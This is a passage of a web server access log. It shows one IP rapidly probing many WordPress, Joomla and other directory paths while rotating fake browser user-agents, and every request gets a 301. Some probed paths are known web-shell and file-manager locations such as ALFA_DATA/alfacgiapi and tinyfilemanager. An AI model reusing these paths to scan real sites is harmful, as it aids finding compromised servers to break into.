Gecko/20100101 Firefox/75.0" 103.214.20.206 - - [09/Apr/2026:00:47:04 +0300] "GET /autoload_classmap/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:04 +0300] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:05 +0300] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:05 +0300] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:06 +0300] "GET /components/com_jea/views/form/tmpl/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 103.214.20.206 - - [09/Apr/2026:00:47:06 +0300] "GET /templates/beez/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:07 +0300] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 103.214.20.206 - - [09/Apr/2026:00:47:07 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:08 +0300] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 103.214.20.206 - - [09/Apr/2026:00:47:08 +0300] "GET /css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:09 +0300] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.206 - - [09/Apr/2026:00:47:09 +0300] "GET /assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:10 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:10 +0300] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:11 +0300] "GET /wp-content/plugins/wp-theme-editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:11 +0300] "GET /wp-content/plugins/up/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 103.214.20.206 - - [09/Apr/2026:00:47:12 +0300] "GET /fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 103.214.20.206 - - [09/Apr/2026:00:47:12 +0300] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 103.214.20.206 - - [09/Apr/2026:00:47:13 +0300] "GET /images/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:13 +0300] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:14 +0300] "GET /wp-content/plugins/dummyyummy/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:15 +0300] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 103.214.20.206 - - [09/Apr/2026:00:47:15 +0300] "GET /wp-content/themes/twentytwentythree/patterns/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 103.214.20.206 - - [09/Apr/2026:00:47:16 +0300] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.206 - - [09/Apr/2026:00:47:16 +0300] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 103.214.20.206 - - [09/Apr/2026:00:47:17 +0300] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 103.214.20.206 - - [09/Apr/2026:00:47:17 +0300] "GET /wp-content/cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 103.214.20.206 - - [09/Apr/2026:00:47:18 +0300] "GET /assets/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 103.214.20.206 - - [09/Apr/2026:00:47:18 +0300] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 103.214.20.206 - - [09/Apr/2026:00:47:19 +0300] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.206 - - [09/Apr/2026:00:47:19 +0300] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 103.214.20.206 - - [09/Apr/2026:00:47:20 +0300] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 103.214.20.206 - - [09/Apr/2026:00:47:20 +0300] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 103.214.20.206 - - [09/Apr/2026:00:47:21 +0300] "GET /wp-content/plugins/phpadmin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 103.214.20.206 - - [09/Apr/2026:00:47:21 +0300] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 103.214.20.206 - - [09/Apr/2026:00:47:22 +0300] "GET /wp-content/plugins/view-more/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 103.214.20.206 - - [09/Apr/2026:00:47:22 +0300] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 103.214.20.206 - - [09/Apr/2026:00:47:23 +0300] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 103.214.20.206 - - [09/Apr/2026:00:47:24 +0300] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:24 +0300] "GET /wp-content/plugins/ioxi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 103.214.20.206 - - [09/Apr/2026:00:47:25 +0300] "GET /blog/wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:25 +0300] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:26 +0300] "GET /wp-content/themes/astra/inc/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:26 +0300] "GET /wp-content/plugins/ccx/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.206 - - [09/Apr/2026:00:47:27 +0300] "GET /wp-includes/css/dist/edit-widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.206 - - [09/Apr/2026:00:47:28 +0300] "GET /wp-includes/Requests/src/Exception/Http/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:28 +0300] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.206 - - [09/Apr/2026:00:47:29 +0300] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:29 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:30 +0300] "GET /wp-content/themes/twentytwentytwo/assets/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:30 +0300] "GET /blog/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 103.214.20.206 - - [09/Apr/2026:00:47:31 +0300] "GET /blog/wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 103.214.20.206 - - [09/Apr/2026:00:47:31 +0300] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:32 +0300] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:32 +0300] "GET /.bod/.ll/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:33 +0300] "GET /wp-content/themes/twentytwentytwo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.206 - - [09/Apr/2026:00:47:33 +0300] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 103.214.20.206 - - [09/Apr/2026:00:47:34 +0300] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.206 - - [09/Apr/2026:00:47:34 +0300] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:35 +0300] "GET /wp-admin/css/colors/coffee/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:35 +0300] "GET /wp-includes/blocks/calendar/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 103.214.20.206 - - [09/Apr/2026:00:47:36 +0300] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:36 +0300] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 103.214.20.206 - - [09/Apr/2026:00:47:37 +0300] "GET /wp-includes/bk/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 103.214.20.206 - - [09/Apr/2026:00:47:37 +0300] "GET /wp-content/ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:38 +0300] "GET /wp-content/uploads/2023/05/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:39 +0300] "GET /wp-content/themes/hello-element/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:39 +0300] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:40 +0300] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:40 +0300] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:41 +0300] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:41 +0300] "GET /wp-includes/sodium_compat/src/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:42 +0300] "GET /wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 103.214.20.206 - - [09/Apr/2026:00:47:42 +0300] "GET /wp-includes/SimplePie/Parse/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:43 +0300] "GET /wp-content/themes/sky-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 103.214.20.206 - - [09/Apr/2026:00:47:43 +0300] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:44 +0300] "GET /wp-includes/js/tinymce/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:44 +0300] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:45 +0300] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.206 - - [09/Apr/2026:00:47:45 +0300] "GET /img/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:46 +0300] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:46 +0300] "GET /wp-includes/l10n/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:47 +0300] "GET /tinyfilemanager/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 103.214.20.206 - - [09/Apr/2026:00:47:47 +0300] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:48 +0300] "GET /components/com_newsfeeds/models/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 103.214.20.206 - - [09/Apr/2026:00:47:48 +0300] "GET /.trash7309/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 103.214.20.206 - - [09/Apr/2026:00:47:49 +0300] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:49 +0300] "GET /wp-content/plugins/ioxi/ioxi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 103.214.20.206 - - [09/Apr/2026:00:47:50 +0300] "GET /modules/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:50 +0300] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.206 - - [09/Apr/2026:00:47:51 +0300] "GET /wp-includes/js/tinymce/langs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 103.214.20.206 - - [09/Apr/2026:00:47:52 +0300] "GET /wp-admin/css/colors/modern/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 103.214.20.206 - - [09/Apr/2026:00:47:52 +0300] "GET /wp-includes/blocks/group/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:53 +0300] "GET /plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 103.214.20.206 - - [09/Apr/2026:00:47:53 +0300] "GET /wordpress/wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:54 +0300] "GET /upload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:54 +0300] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 103.214.20.206 - - [09/Apr/2026:00:47:55 +0300] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:55 +0300] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:56 +0300] "GET /.tmb/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.206 - - [09/Apr/2026:00:47:56 +0300] "GET /wp-includes/assets/wp-includes/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 103.214.20.206 - - [09/Apr/2026:00:47:57 +0300] "GET /wp-includes/blocks/file/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:57 +0300] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 103.214.20.206 - - [09/Apr/2026:00:47:58 +0300] "GET /blog/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:58 +0300] "GET /include/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 103.214.20.206 - - [09/Apr/2026:00:47:59 +0300] "GET /file/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 103.214.20.206 - - [09/Apr/2026:00:47:59 +0300] "GET /wp-content/themes/twentytwentyfour/patterns/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:00 +0300] "GET /images/news_event/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:00 +0300] "GET /wp-content/themes/wp-pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:01 +0300] "GET /templates/beez5/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:48:01 +0300] "GET /wp-admin/js/file/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 103.214.20.206 - - [09/Apr/2026:00:48:02 +0300] "GET /wp-includes/id3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.206 - - [09/Apr/2026:00:48:02 +0300] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 